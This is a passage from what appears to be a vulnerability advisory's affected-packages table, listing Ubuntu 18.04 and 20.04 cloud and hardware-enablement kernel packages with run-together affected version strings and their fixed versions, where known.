`linux-azure` Ubuntu:18.04:LTS	All versions, plus listed versions 4.15.0-1002.24.15.0-1003.34.15.0-1004.44.15.0-1008.84.15.0-1009.9 Show 39 moreShow less 4.15.0-1012.124.15.0-1013.134.15.0-1014.144.15.0-1018.184.15.0-1019.194.15.0-1021.214.15.0-1022.234.15.0-1023.244.15.0-1025.264.15.0-1028.294.15.0-1030.314.15.0-1031.324.15.0-1032.334.15.0-1035.364.15.0-1036.384.15.0-1037.394.18.0-1011.11~18.04.14.18.0-1013.13~18.04.14.18.0-1014.14~18.04.14.18.0-1018.18~18.04.14.18.0-1019.19~18.04.14.18.0-1020.20~18.04.14.18.0-1023.24~18.04.14.18.0-1024.25~18.04.14.18.0-1025.27~18.04.15.0.0-1014.14~18.04.15.0.0-1016.17~18.04.15.0.0-1018.19~18.04.15.0.0-1020.21~18.04.15.0.0-1022.23~18.04.15.0.0-1023.24~18.04.15.0.0-1025.27~18.04.15.0.0-1027.29~18.04.15.0.0-1028.30~18.04.15.0.0-1029.31~18.04.15.0.0-1031.335.0.0-1032.345.0.0-1035.375.0.0-1036.38	None known
`linux-azure-5.3` Ubuntu:18.04:LTS	All versions, plus listed versions 5.3.0-1007.8~18.04.15.3.0-1008.9~18.04.15.3.0-1009.10~18.04.15.3.0-1010.11~18.04.15.3.0-1012.13~18.04.1 Show 11 moreShow less 5.3.0-1013.14~18.04.15.3.0-1016.17~18.04.15.3.0-1018.19~18.04.15.3.0-1019.20~18.04.15.3.0-1020.21~18.04.15.3.0-1022.23~18.04.15.3.0-1028.29~18.04.15.3.0-1031.32~18.04.15.3.0-1032.33~18.04.15.3.0-1034.35~18.04.15.3.0-1035.36	None known
`linux-azure-edge` Ubuntu:18.04:LTS	All versions, plus listed versions 4.18.0-1006.6~18.04.14.18.0-1007.7~18.04.14.18.0-1008.8~18.04.15.0.0-1012.12~18.04.2	None known
`linux-gcp` Ubuntu:18.04:LTS	All versions, plus listed versions 4.15.0-1001.14.15.0-1003.34.15.0-1005.54.15.0-1006.64.15.0-1008.8 Show 33 moreShow less 4.15.0-1009.94.15.0-1010.104.15.0-1014.144.15.0-1015.154.15.0-1017.184.15.0-1018.194.15.0-1019.204.15.0-1021.224.15.0-1023.244.15.0-1024.254.15.0-1025.264.15.0-1026.274.15.0-1027.284.15.0-1028.294.15.0-1029.314.15.0-1030.324.15.0-1032.344.15.0-1033.354.15.0-1034.364.15.0-1036.384.15.0-1037.394.15.0-1040.424.15.0-1042.454.15.0-1044.705.0.0-1020.20~18.04.15.0.0-1021.21~18.04.15.0.0-1025.26~18.04.15.0.0-1026.27~18.04.15.0.0-1028.29~18.04.15.0.0-1029.30~18.04.15.0.0-1031.325.0.0-1033.345.0.0-1034.35	None known
`linux-gcp-5.3` Ubuntu:18.04:LTS	All versions, plus listed versions 5.3.0-1008.9~18.04.15.3.0-1009.10~18.04.15.3.0-1010.11~18.04.15.3.0-1012.13~18.04.15.3.0-1014.15~18.04.1 Show 8 moreShow less 5.3.0-1016.17~18.04.15.3.0-1017.18~18.04.15.3.0-1018.19~18.04.15.3.0-1020.22~18.04.15.3.0-1026.28~18.04.15.3.0-1029.31~18.04.15.3.0-1030.32~18.04.15.3.0-1032.34~18.04.1	None known
`linux-gke-4.15` Ubuntu:18.04:LTS	All versions, plus listed versions 4.15.0-1030.324.15.0-1032.344.15.0-1033.354.15.0-1034.364.15.0-1036.38 Show 28 moreShow less 4.15.0-1037.394.15.0-1040.424.15.0-1041.434.15.0-1042.444.15.0-1044.464.15.0-1045.484.15.0-1046.494.15.0-1048.514.15.0-1049.524.15.0-1050.534.15.0-1052.554.15.0-1055.584.15.0-1057.604.15.0-1058.614.15.0-1059.624.15.0-1063.664.15.0-1064.674.15.0-1066.694.15.0-1067.704.15.0-1069.724.15.0-1070.734.15.0-1072.764.15.0-1073.784.15.0-1074.794.15.0-1076.814.15.0-1077.824.15.0-1078.834.15.0-1079.84	None known
`linux-gke-5.4` Ubuntu:18.04:LTS	All versions, plus listed versions 5.4.0-1025.25~18.04.15.4.0-1027.28~18.04.15.4.0-1029.31~18.04.15.4.0-1030.32~18.04.15.4.0-1032.34~18.04.1 Show 32 moreShow less 5.4.0-1033.35~18.04.15.4.0-1035.37~18.04.15.4.0-1036.38~18.04.15.4.0-1037.39~18.04.15.4.0-1039.41~18.04.15.4.0-1040.42~18.04.15.4.0-1042.44~18.04.15.4.0-1043.45~18.04.15.4.0-1044.46~18.04.15.4.0-1046.48~18.04.15.4.0-1049.52~18.04.15.4.0-1051.54~18.04.15.4.0-1052.55~18.04.15.4.0-1053.56~18.04.15.4.0-1054.57~18.04.15.4.0-1055.58~18.04.15.4.0-1056.59~18.04.15.4.0-1057.60~18.04.15.4.0-1059.62~18.04.15.4.0-1061.64~18.04.15.4.0-1062.65~18.04.15.4.0-1063.66~18.04.15.4.0-1065.68~18.04.15.4.0-1066.69~18.04.15.4.0-1067.70~18.04.15.4.0-1068.71~18.04.15.4.0-1071.76~18.04.35.4.0-1072.77~18.04.15.4.0-1074.79~18.04.15.4.0-1076.82~18.04.15.4.0-1078.84~18.04.15.4.0-1080.86~18.04.1	None known
`linux-gkeop-5.4` Ubuntu:18.04:LTS	All versions, plus listed versions 5.4.0-1001.15.4.0-1003.35.4.0-1004.55.4.0-1005.65.4.0-1007.8~18.04.1 Show 32 moreShow less 5.4.0-1008.9~18.04.15.4.0-1009.10~18.04.15.4.0-1010.11~18.04.15.4.0-1011.12~18.04.25.4.0-1012.13~18.04.15.4.0-1013.14~18.04.15.4.0-1014.15~18.04.15.4.0-1015.16~18.04.15.4.0-1016.17~18.04.15.4.0-1018.19~18.04.15.4.0-1021.22~18.04.15.4.0-1022.23~18.04.15.4.0-1023.24~18.04.15.4.0-1024.25~18.04.15.4.0-1025.26~18.04.15.4.0-1026.27~18.04.15.4.0-1027.28~18.04.15.4.0-1029.30~18.04.25.4.0-1031.32~18.04.15.4.0-1032.33~18.04.15.4.0-1033.34~18.04.15.4.0-1034.35~18.04.15.4.0-1036.37~18.04.15.4.0-1037.38~18.04.15.4.0-1038.39~18.04.15.4.0-1039.40~18.04.15.4.0-1040.41~18.04.15.4.0-1043.44~18.04.15.4.0-1046.48~18.04.15.4.0-1048.51~18.04.15.4.0-1049.52~18.04.15.4.0-1051.54~18.04.1	None known
`linux-hwe` Ubuntu:18.04:LTS	All versions, plus listed versions 4.18.0-13.14~18.04.14.18.0-14.15~18.04.14.18.0-15.16~18.04.14.18.0-16.17~18.04.14.18.0-17.18~18.04.1 Show 38 moreShow less 4.18.0-18.19~18.04.14.18.0-20.21~18.04.14.18.0-21.22~18.04.14.18.0-22.23~18.04.14.18.0-24.25~18.04.14.18.0-25.26~18.04.15.0.0-23.24~18.04.15.0.0-25.26~18.04.15.0.0-27.28~18.04.15.0.0-29.31~18.04.15.0.0-31.33~18.04.15.0.0-32.34~18.04.25.0.0-35.38~18.04.15.0.0-36.39~18.04.15.0.0-37.40~18.04.15.3.0-26.28~18.04.15.3.0-28.30~18.04.15.3.0-40.32~18.04.15.3.0-42.34~18.04.15.3.0-45.37~18.04.15.3.0-46.38~18.04.15.3.0-51.44~18.04.25.3.0-53.47~18.04.15.3.0-59.53~18.04.15.3.0-61.55~18.04.15.3.0-62.56~18.04.15.3.0-64.58~18.04.15.3.0-65.595.3.0-66.605.3.0-67.615.3.0-68.635.3.0-69.655.3.0-70.665.3.0-72.685.3.0-73.695.3.0-74.705.3.0-75.715.3.0-76.72	None known
`linux-hwe-edge` Ubuntu:18.04:LTS	All versions, plus listed versions 5.0.0-15.16~18.04.15.0.0-16.17~18.04.15.0.0-17.18~18.04.15.0.0-19.20~18.04.15.0.0-20.21~18.04.1 Show 5 moreShow less 5.3.0-19.20~18.04.25.3.0-22.24~18.04.15.3.0-23.25~18.04.15.3.0-23.25~18.04.25.3.0-24.26~18.04.2	None known
`linux-oem` Ubuntu:18.04:LTS	All versions, plus listed versions 4.15.0-1002.34.15.0-1004.54.15.0-1006.94.15.0-1008.114.15.0-1009.12 Show 45 moreShow less 4.15.0-1012.154.15.0-1013.164.15.0-1015.184.15.0-1017.204.15.0-1018.214.15.0-1021.244.15.0-1024.294.15.0-1026.314.15.0-1028.334.15.0-1030.354.15.0-1033.384.15.0-1034.394.15.0-1035.404.15.0-1036.414.15.0-1038.434.15.0-1039.444.15.0-1043.484.15.0-1045.504.15.0-1050.574.15.0-1056.654.15.0-1057.664.15.0-1059.684.15.0-1063.724.15.0-1064.734.15.0-1065.754.15.0-1066.764.15.0-1067.774.15.0-1069.794.15.0-1073.834.15.0-1076.864.15.0-1079.894.15.0-1080.904.15.0-1081.914.15.0-1087.974.15.0-1090.1004.15.0-1091.1014.15.0-1093.1034.15.0-1094.1044.15.0-1096.1064.15.0-1097.1074.15.0-1099.1094.15.0-1100.1104.15.0-1101.1124.15.0-1102.1134.15.0-1103.114	None known
`linux-oracle-5.0` Ubuntu:18.04:LTS	All versions, plus listed versions 5.0.0-1007.12~18.04.15.0.0-1008.13~18.04.15.0.0-1009.14~18.04.15.0.0-1010.15~18.04.15.0.0-1011.165.0.0-1013.185.0.0-1014.19	None known
`linux-oracle-5.3` Ubuntu:18.04:LTS	All versions, plus listed versions 5.3.0-1011.12~18.04.15.3.0-1013.14~18.04.15.3.0-1014.15~18.04.15.3.0-1016.18~18.04.15.3.0-1018.20~18.04.1 Show 4 moreShow less 5.3.0-1024.26~18.04.15.3.0-1027.29~18.04.15.3.0-1028.30~18.04.15.3.0-1030.32~18.04.1	None known
`linux-aws-5.11` Ubuntu:20.04:LTS	All versions, plus listed versions 5.11.0-1009.9~20.04.25.11.0-1014.15~20.04.15.11.0-1016.17~20.04.15.11.0-1017.18~20.04.15.11.0-1019.20~20.04.1 Show 7 moreShow less 5.11.0-1020.21~20.04.25.11.0-1021.22~20.04.25.11.0-1022.23~20.04.15.11.0-1023.24~20.04.15.11.0-1025.27~20.04.15.11.0-1027.30~20.04.15.11.0-1028.31~20.04.1	None known
`linux-aws-5.13` Ubuntu:20.04:LTS	All versions, plus listed versions 5.13.0-1008.9~20.04.25.13.0-1011.12~20.04.15.13.0-1012.13~20.04.15.13.0-1014.15~20.04.15.13.0-1017.19~20.04.1 Show 8 moreShow less 5.13.0-1019.21~20.04.15.13.0-1021.23~20.04.25.13.0-1022.24~20.04.15.13.0-1023.25~20.04.15.13.0-1025.27~20.04.15.13.0-1028.31~20.04.15.13.0-1029.32~20.04.15.13.0-1031.35~20.04.1	None known
`linux-aws-5.15` Ubuntu:Pro:20.04:LTS	before 5.15.0-1103.110~20.04.1, plus listed versions 5.15.0-1014.18~20.04.15.15.0-1015.19~20.04.15.15.0-1017.21~20.04.15.15.0-1019.23~20.04.15.15.0-1020.24~20.04.1 Show 45 moreShow less 5.15.0-1021.25~20.04.15.15.0-1022.26~20.04.15.15.0-1023.27~20.04.15.15.0-1026.30~20.04.25.15.0-1027.31~20.04.15.15.0-1028.32~20.04.15.15.0-1030.34~20.04.15.15.0-1031.35~20.04.15.15.0-1033.37~20.04.15.15.0-1034.38~20.04.15.15.0-1035.39~20.04.15.15.0-1036.40~20.04.15.15.0-1037.41~20.04.15.15.0-1038.43~20.04.15.15.0-1039.44~20.04.15.15.0-1040.45~20.04.15.15.0-1041.46~20.04.15.15.0-1043.48~20.04.15.15.0-1044.49~20.04.15.15.0-1045.50~20.04.15.15.0-1047.52~20.04.15.15.0-1048.53~20.04.15.15.0-1049.54~20.04.15.15.0-1050.55~20.04.15.15.0-1051.56~20.04.15.15.0-1052.57~20.04.15.15.0-1053.58~20.04.15.15.0-1055.60~20.04.15.15.0-1056.61~20.04.15.15.0-1057.63~20.04.15.15.0-1058.64~20.04.15.15.0-1061.67~20.04.15.15.0-1062.68~20.04.15.15.0-1063.69~20.04.15.15.0-1064.70~20.04.15.15.0-1065.71~20.04.15.15.0-1066.72~20.04.15.15.0-1067.73~20.04.15.15.0-1068.74~20.04.15.15.0-1069.75~20.04.15.15.0-1070.76~20.04.15.15.0-1071.77~20.04.15.15.0-1072.78~20.04.15.15.0-1073.79~20.04.15.15.0-1075.82~20.04.1	5.15.0-1103.110~20.04.1
`linux-aws-5.8` Ubuntu:20.04:LTS	All versions, plus listed versions 5.8.0-1035.37~20.04.15.8.0-1038.40~20.04.15.8.0-1041.43~20.04.15.8.0-1042.44~20.04.1	None known
`linux-azure-5.11` Ubuntu:20.04:LTS	All versions, plus listed versions 5.11.0-1007.7~20.04.25.11.0-1012.13~20.04.15.11.0-1013.14~20.04.15.11.0-1015.16~20.04.15.11.0-1017.18~20.04.1 Show 8 moreShow less 5.11.0-1019.20~20.04.15.11.0-1020.21~20.04.15.11.0-1021.22~20.04.15.11.0-1022.23~20.04.15.11.0-1023.24~20.04.15.11.0-1025.27~20.04.15.11.0-1027.30~20.04.15.11.0-1028.31~20.04.2	None known
`linux-azure-5.13` Ubuntu:20.04:LTS	All versions, plus listed versions 5.13.0-1009.10~20.04.25.13.0-1012.14~20.04.15.13.0-1013.15~20.04.15.13.0-1014.16~20.04.15.13.0-1017.19~20.04.1 Show 7 moreShow less 5.13.0-1021.24~20.04.15.13.0-1022.26~20.04.15.13.0-1023.27~20.04.15.13.0-1025.29~20.04.15.13.0-1028.33~20.04.15.13.0-1029.34~20.04.15.13.0-1031.37~20.04.1	None known
`linux-azure-5.15` Ubuntu:Pro:20.04:LTS	before 5.15.0-1110.119~20.04.1, plus listed versions 5.15.0-1007.8~20.04.15.15.0-1008.9~20.04.15.15.0-1013.16~20.04.15.15.0-1014.17~20.04.15.15.0-1017.20~20.04.1 Show 45 moreShow less 5.15.0-1019.24~20.04.15.15.0-1020.25~20.04.15.15.0-1021.26~20.04.15.15.0-1022.27~20.04.15.15.0-1023.29~20.04.15.15.0-1029.36~20.04.15.15.0-1030.37~20.04.15.15.0-1031.38~20.04.15.15.0-1033.40~20.04.15.15.0-1034.41~20.04.15.15.0-1035.42~20.04.15.15.0-1036.43~20.04.15.15.0-1037.44~20.04.15.15.0-1038.45~20.04.15.15.0-1039.46~20.04.15.15.0-1040.47~20.04.15.15.0-1041.48~20.04.15.15.0-1042.49~20.04.15.15.0-1043.50~20.04.15.15.0-1045.52~20.04.15.15.0-1046.53~20.04.15.15.0-1047.54~20.04.15.15.0-1049.56~20.04.15.15.0-1050.57~20.04.15.15.0-1051.59~20.04.15.15.0-1052.60~20.04.15.15.0-1053.61~20.04.15.15.0-1054.62~20.04.15.15.0-1056.64~20.04.15.15.0-1057.65~20.04.15.15.0-1058.66~20.04.25.15.0-1059.67~20.04.15.15.0-1060.69~20.04.15.15.0-1061.70~20.04.15.15.0-1063.72~20.04.15.15.0-1064.73~20.04.15.15.0-1065.74~20.04.15.15.0-1067.76~20.04.15.15.0-1068.77~20.04.15.15.0-1070.79~20.04.15.15.0-1071.80~20.04.15.15.0-1072.81~20.04.15.15.0-1073.82~20.04.15.15.0-1074.83~20.04.15.15.0-1075.84~20.04.1	5.15.0-1110.119~20.04.1
`linux-azure-5.8` Ubuntu:20.04:LTS	All versions, plus listed versions 5.8.0-1033.35~20.04.15.8.0-1036.38~20.04.15.8.0-1039.42~20.04.15.8.0-1040.43~20.04.15.8.0-1041.44~20.04.15.8.0-1042.45~20.04.15.8.0-1043.46~20.04.1	None known
`linux-azure-fde` Ubuntu:20.04:LTS	All versions, plus listed versions 5.4.0-1063.66+cvm2.25.4.0-1063.66+cvm3.25.4.0-1064.67+cvm1.15.4.0-1065.68+cvm2.15.4.0-1067.70+cvm1.1 Show 21 moreShow less 5.4.0-1068.71+cvm1.15.4.0-1069.72+cvm1.15.4.0-1070.73+cvm1.15.4.0-1072.75+cvm1.15.4.0-1073.76+cvm1.15.4.0-1074.77+cvm1.15.4.0-1076.79+cvm1.15.4.0-1078.81+cvm1.15.4.0-1080.83+cvm1.15.4.0-1083.87+cvm1.15.4.0-1085.90+cvm1.15.4.0-1085.90+cvm2.15.4.0-1086.91+cvm1.15.4.0-1089.94+cvm1.25.4.0-1090.95+cvm1.15.4.0-1091.96+cvm1.15.4.0-1092.97+cvm1.15.4.0-1095.101+cvm1.15.4.0-1098.104+cvm1.15.4.0-1100.106+cvm1.15.4.0-1103.109+cvm1.1	None known
`linux-gcp-5.11` Ubuntu:20.04:LTS	All versions, plus listed versions 5.11.0-1009.10~20.04.15.11.0-1014.16~20.04.15.11.0-1017.19~20.04.15.11.0-1018.20~20.04.25.11.0-1020.22~20.04.1 Show 7 moreShow less 5.11.0-1021.23~20.04.15.11.0-1022.24~20.04.15.11.0-1023.25~20.04.15.11.0-1024.26~20.04.15.11.0-1026.29~20.04.15.11.0-1028.32~20.04.15.11.0-1029.33~20.04.3	None known
`linux-gcp-5.13` Ubuntu:20.04:LTS	All versions, plus listed versions 5.13.0-1008.9~20.04.35.13.0-1012.15~20.04.15.13.0-1013.16~20.04.15.13.0-1015.18~20.04.15.13.0-1019.23~20.04.1 Show 8 moreShow less 5.13.0-1021.25~20.04.15.13.0-1023.28~20.04.15.13.0-1024.29~20.04.15.13.0-1025.30~20.04.15.13.0-1027.32~20.04.15.13.0-1030.36~20.04.15.13.0-1031.37~20.04.15.13.0-1033.40~20.04.1	None known
`linux-gcp-5.15` Ubuntu:Pro:20.04:LTS	before 5.15.0-1103.112~20.04.1, plus listed versions 5.15.0-1006.9~20.04.15.15.0-1012.17~20.04.15.15.0-1013.18~20.04.15.15.0-1016.21~20.04.15.15.0-1017.23~20.04.2 Show 45 moreShow less 5.15.0-1018.24~20.04.15.15.0-1021.28~20.04.15.15.0-1022.29~20.04.15.15.0-1025.32~20.04.25.15.0-1026.33~20.04.15.15.0-1027.34~20.04.15.15.0-1029.36~20.04.15.15.0-1030.37~20.04.15.15.0-1031.38~20.04.15.15.0-1032.40~20.04.15.15.0-1033.41~20.04.15.15.0-1034.42~20.04.15.15.0-1035.43~20.04.15.15.0-1036.44~20.04.15.15.0-1037.45~20.04.15.15.0-1038.46~20.04.15.15.0-1039.47~20.04.15.15.0-1040.48~20.04.15.15.0-1041.49~20.04.15.15.0-1042.50~20.04.15.15.0-1044.52~20.04.15.15.0-1045.53~20.04.25.15.0-1046.54~20.04.15.15.0-1047.55~20.04.15.15.0-1048.56~20.04.15.15.0-1049.57~20.04.15.15.0-1051.59~20.04.15.15.0-1052.60~20.04.15.15.0-1053.61~20.04.15.15.0-1054.62~20.04.15.15.0-1055.63~20.04.15.15.0-1058.66~20.04.15.15.0-1059.67~20.04.15.15.0-1060.68~20.04.15.15.0-1062.70~20.04.15.15.0-1065.73~20.04.15.15.0-1066.74~20.04.15.15.0-1067.75~20.04.15.15.0-1068.76~20.04.15.15.0-1069.77~20.04.15.15.0-1070.78~20.04.15.15.0-1071.79~20.04.15.15.0-1072.80~20.04.15.15.0-1073.81~20.04.15.15.0-1074.83~20.04.1	5.15.0-1103.112~20.04.1
`linux-gcp-5.8` Ubuntu:20.04:LTS	All versions, plus listed versions 5.8.0-1032.34~20.04.15.8.0-1035.37~20.04.15.8.0-1038.40~20.04.15.8.0-1039.41	None known
`linux-gke` Ubuntu:20.04:LTS	All versions, plus listed versions 5.4.0-1033.355.4.0-1035.375.4.0-1036.385.4.0-1037.395.4.0-1039.41 Show 45 moreShow less 5.4.0-1041.435.4.0-1042.445.4.0-1043.455.4.0-1044.465.4.0-1046.485.4.0-1049.525.4.0-1051.545.4.0-1052.555.4.0-1053.565.4.0-1054.575.4.0-1055.585.4.0-1056.595.4.0-1057.605.4.0-1059.625.4.0-1061.645.4.0-1062.655.4.0-1063.665.4.0-1065.685.4.0-1066.695.4.0-1067.705.4.0-1068.715.4.0-1071.765.4.0-1072.775.4.0-1074.795.4.0-1076.825.4.0-1078.845.4.0-1080.865.4.0-1081.875.4.0-1083.895.4.0-1084.905.4.0-1086.935.4.0-1087.945.4.0-1090.975.4.0-1091.985.4.0-1094.1015.4.0-1095.1025.4.0-1096.1035.4.0-1097.1045.4.0-1098.1055.4.0-1099.1065.4.0-1100.1075.4.0-1101.1085.4.0-1102.1095.4.0-1103.1105.4.0-1104.111	None known
`linux-gke-5.15` Ubuntu:20.04:LTS	All versions, plus listed versions 5.15.0-1011.14~20.04.15.15.0-1014.17~20.04.15.15.0-1015.18~20.04.15.15.0-1016.19~20.04.15.15.0-1019.23~20.04.1 Show 13 moreShow less 5.15.0-1020.25~20.04.15.15.0-1023.28~20.04.25.15.0-1027.32~20.04.15.15.0-1028.33~20.04.15.15.0-1029.34~20.04.15.15.0-1031.36~20.04.15.15.0-1032.37~20.04.15.15.0-1033.38~20.04.15.15.0-1034.39~20.04.15.15.0-1036.41~20.04.15.15.0-1037.42~20.04.15.15.0-1038.43~20.04.15.15.0-1039.44~20.04.1	None known
`linux-gkeop` Ubuntu:20.04:LTS	All versions, plus listed versions 5.4.0-1008.95.4.0-1009.105.4.0-1010.115.4.0-1011.125.4.0-1012.13 Show 45 moreShow less 5.4.0-1013.145.4.0-1014.155.4.0-1015.165.4.0-1016.175.4.0-1018.195.4.0-1021.225.4.0-1022.235.4.0-1023.245.4.0-1024.255.4.0-1025.265.4.0-1026.275.4.0-1027.285.4.0-1029.305.4.0-1031.325.4.0-1032.335.4.0-1033.345.4.0-1034.355.4.0-1036.375.4.0-1037.385.4.0-1038.395.4.0-1039.405.4.0-1040.415.4.0-1043.445.4.0-1046.485.4.0-1048.515.4.0-1049.525.4.0-1051.545.4.0-1052.555.4.0-1053.565.4.0-1054.575.4.0-1056.605.4.0-1057.615.4.0-1060.645.4.0-1061.655.4.0-1062.665.4.0-1064.685.4.0-1065.695.4.0-1066.705.4.0-1067.715.4.0-1068.725.4.0-1069.735.4.0-1070.745.4.0-1071.755.4.0-1072.765.4.0-1073.77	None known
`linux-gkeop-5.15` Ubuntu:20.04:LTS	All versions, plus listed versions 5.15.0-1003.5~20.04.25.15.0-1005.7~20.04.15.15.0-1007.10~20.04.15.15.0-1008.12~20.04.15.15.0-1011.15~20.04.2 Show 40 moreShow less 5.15.0-1012.16~20.04.15.15.0-1013.17~20.04.15.15.0-1015.19~20.04.15.15.0-1016.21~20.04.15.15.0-1017.22~20.04.15.15.0-1018.23~20.04.15.15.0-1019.24~20.04.15.15.0-1020.25~20.04.15.15.0-1021.26~20.04.15.15.0-1022.27~20.04.15.15.0-1023.28~20.04.15.15.0-1024.29~20.04.15.15.0-1025.30~20.04.15.15.0-1026.31~20.04.15.15.0-1027.32~20.04.15.15.0-1028.33~20.04.15.15.0-1030.35~20.04.15.15.0-1031.37~20.04.15.15.0-1032.38~20.04.15.15.0-1033.39~20.04.15.15.0-1034.40~20.04.15.15.0-1035.41~20.04.15.15.0-1036.42~20.04.15.15.0-1037.43~20.04.15.15.0-1038.44~20.04.15.15.0-1039.45~20.04.15.15.0-1040.46~20.04.15.15.0-1043.50~20.04.15.15.0-1044.51~20.04.15.15.0-1045.52~20.04.15.15.0-1046.53~20.04.15.15.0-1047.54~20.04.15.15.0-1048.55~20.04.15.15.0-1049.56~20.04.15.15.0-1050.57~20.04.15.15.0-1051.58~20.04.15.15.0-1052.59~20.04.15.15.0-1053.60~20.04.15.15.0-1054.61~20.04.15.15.0-1055.62~20.04.1	None known
`linux-hwe-5.11` Ubuntu:20.04:LTS	All versions, plus listed versions 5.11.0-22.23~20.04.15.11.0-25.27~20.04.15.11.0-27.29~20.04.15.11.0-34.36~20.04.15.11.0-36.40~20.04.1 Show 7 moreShow less 5.11.0-37.41~20.04.25.11.0-38.42~20.04.15.11.0-40.44~20.04.25.11.0-41.45~20.04.15.11.0-43.47~20.04.25.11.0-44.48~20.04.25.11.0-46.51~20.04.1	None known
`linux-hwe-5.13` Ubuntu:20.04:LTS	All versions, plus listed versions 5.13.0-21.21~20.04.15.13.0-22.22~20.04.15.13.0-23.23~20.04.25.13.0-25.26~20.04.15.13.0-27.29~20.04.1 Show 11 moreShow less 5.13.0-28.31~20.04.15.13.0-30.33~20.04.15.13.0-35.40~20.04.15.13.0-37.42~20.04.15.13.0-39.44~20.04.15.13.0-40.45~20.04.15.13.0-41.46~20.04.15.13.0-44.49~20.04.15.13.0-48.54~20.04.15.13.0-51.58~20.04.15.13.0-52.59~20.04.1	None known
`linux-hwe-5.15` Ubuntu:Pro:20.04:LTS	before 5.15.0-173.183~20.04.1, plus listed versions 5.15.0-33.34~20.04.15.15.0-41.44~20.04.15.15.0-43.46~20.04.15.15.0-46.49~20.04.15.15.0-48.54~20.04.1 Show 45 moreShow less 5.15.0-50.56~20.04.15.15.0-52.58~20.04.15.15.0-53.59~20.04.15.15.0-56.62~20.04.15.15.0-57.63~20.04.15.15.0-58.64~20.04.15.15.0-60.66~20.04.15.15.0-67.74~20.04.15.15.0-69.76~20.04.15.15.0-70.77~20.04.15.15.0-71.78~20.04.15.15.0-72.79~20.04.15.15.0-73.80~20.04.15.15.0-75.82~20.04.15.15.0-76.83~20.04.15.15.0-78.85~20.04.15.15.0-79.86~20.04.25.15.0-82.91~20.04.15.15.0-83.92~20.04.15.15.0-84.93~20.04.15.15.0-86.96~20.04.15.15.0-87.97~20.04.15.15.0-88.98~20.04.15.15.0-89.99~20.04.15.15.0-91.101~20.04.15.15.0-92.102~20.04.15.15.0-94.104~20.04.15.15.0-97.107~20.04.15.15.0-100.110~20.04.15.15.0-101.111~20.04.15.15.0-102.112~20.04.15.15.0-105.115~20.04.15.15.0-106.116~20.04.15.15.0-107.117~20.04.15.15.0-113.123~20.04.15.15.0-116.126~20.04.15.15.0-117.127~20.04.15.15.0-118.128~20.04.15.15.0-119.129~20.04.15.15.0-121.131~20.04.15.15.0-122.132~20.04.15.15.0-124.134~20.04.15.15.0-125.135~20.04.15.15.0-126.136~20.04.15.15.0-127.137~20.04.1	5.15.0-173.183~20.04.1
`linux-hwe-5.8` Ubuntu:20.04:LTS	All versions, plus listed versions 5.8.0-23.24~20.04.15.8.0-25.26~20.04.15.8.0-28.30~20.04.15.8.0-29.31~20.04.15.8.0-31.33~20.04.1 Show 16 moreShow less 5.8.0-33.36~20.04.15.8.0-34.37~20.04.25.8.0-36.40~20.04.15.8.0-38.43~20.04.15.8.0-40.45~20.04.15.8.0-41.46~20.04.15.8.0-43.49~20.04.15.8.0-44.50~20.04.15.8.0-45.51~20.04.15.8.0-48.54~20.04.15.8.0-49.55~20.04.15.8.0-50.56~20.04.15.8.0-53.60~20.04.15.8.0-55.62~20.04.15.8.0-59.66~20.04.15.8.0-63.71~20.04.1	None known
`linux-ibm-5.15` Ubuntu:Pro:20.04:LTS	before 5.15.0-1097.100~20.04.1, plus listed versions 5.15.0-1033.36~20.04.15.15.0-1034.37~20.04.15.15.0-1035.38~20.04.15.15.0-1036.39~20.04.15.15.0-1037.40~20.04.1 Show 45 moreShow less 5.15.0-1038.41~20.04.15.15.0-1040.43~20.04.15.15.0-1041.44~20.04.15.15.0-1042.45~20.04.15.15.0-1043.46~20.04.15.15.0-1044.47~20.04.15.15.0-1045.48~20.04.15.15.0-1046.49~20.04.15.15.0-1047.50~20.04.15.15.0-1048.51~20.04.15.15.0-1049.52~20.04.15.15.0-1050.53~20.04.15.15.0-1053.56~20.04.15.15.0-1054.57~20.04.15.15.0-1055.58~20.04.15.15.0-1057.60~20.04.15.15.0-1058.61~20.04.15.15.0-1059.62~20.04.15.15.0-1060.63~20.04.15.15.0-1061.64~20.04.15.15.0-1062.65~20.04.15.15.0-1063.66~20.04.15.15.0-1064.67~20.04.15.15.0-1065.68~20.04.15.15.0-1066.69~20.04.15.15.0-1067.70~20.04.15.15.0-1068.71~20.04.15.15.0-1069.72~20.04.15.15.0-1074.77~20.04.15.15.0-1075.78~20.04.15.15.0-1076.79~20.04.15.15.0-1078.81~20.04.15.15.0-1079.82~20.04.15.15.0-1080.83~20.04.15.15.0-1081.84~20.04.15.15.0-1083.86~20.04.15.15.0-1085.88~20.04.15.15.0-1086.89~20.04.15.15.0-1087.90~20.04.15.15.0-1089.92~20.04.15.15.0-1090.93~20.04.15.15.0-1091.94~20.04.15.15.0-1092.95~20.04.15.15.0-1093.96~20.04.15.15.0-1094.97~20.04.1	5.15.0-1097.100~20.04.1
`linux-intel-5.13` Ubuntu:20.04:LTS	All versions, plus listed versions 5.13.0-1007.75.13.0-1008.85.13.0-1009.95.13.0-1010.105.13.0-1011.115.13.0-1014.155.13.0-1017.19	None known
`linux-intel-iotg-5.15` Ubuntu:Pro:20.04:LTS	before 5.15.0-1098.104~20.04.1, plus listed versions 5.15.0-1003.5~20.04.15.15.0-1008.11~20.04.15.15.0-1010.14~20.04.15.15.0-1015.20~20.04.25.15.0-1016.21~20.04.1 Show 45 moreShow less 5.15.0-1017.22~20.04.15.15.0-1018.23~20.04.15.15.0-1021.26~20.04.15.15.0-1023.28~20.04.15.15.0-1025.30~20.04.15.15.0-1026.31~20.04.15.15.0-1027.32~20.04.15.15.0-1030.35~20.04.15.15.0-1031.36~20.04.15.15.0-1033.38~20.04.15.15.0-1034.39~20.04.15.15.0-1036.41~20.04.15.15.0-1037.42~20.04.15.15.0-1038.43~20.04.15.15.0-1040.46~20.04.15.15.0-1043.49~20.04.15.15.0-1045.51~20.04.15.15.0-1046.52~20.04.15.15.0-1048.54~20.04.15.15.0-1049.55~20.04.15.15.0-1050.56~20.04.15.15.0-1051.57~20.04.15.15.0-1052.58~20.04.15.15.0-1055.61~20.04.15.15.0-1058.64~20.04.15.15.0-1059.65~20.04.15.15.0-1060.66~20.04.15.15.0-1061.67~20.04.15.15.0-1062.68~20.04.15.15.0-1063.69~20.04.15.15.0-1064.70~20.04.15.15.0-1065.71~20.04.15.15.0-1066.72~20.04.15.15.0-1067.73~20.04.15.15.0-1071.77~20.04.15.15.0-1072.78~20.04.15.15.0-1073.79~20.04.25.15.0-1074.80~20.04.15.15.0-1077.83~20.04.15.15.0-1078.84~20.04.15.15.0-1079.85~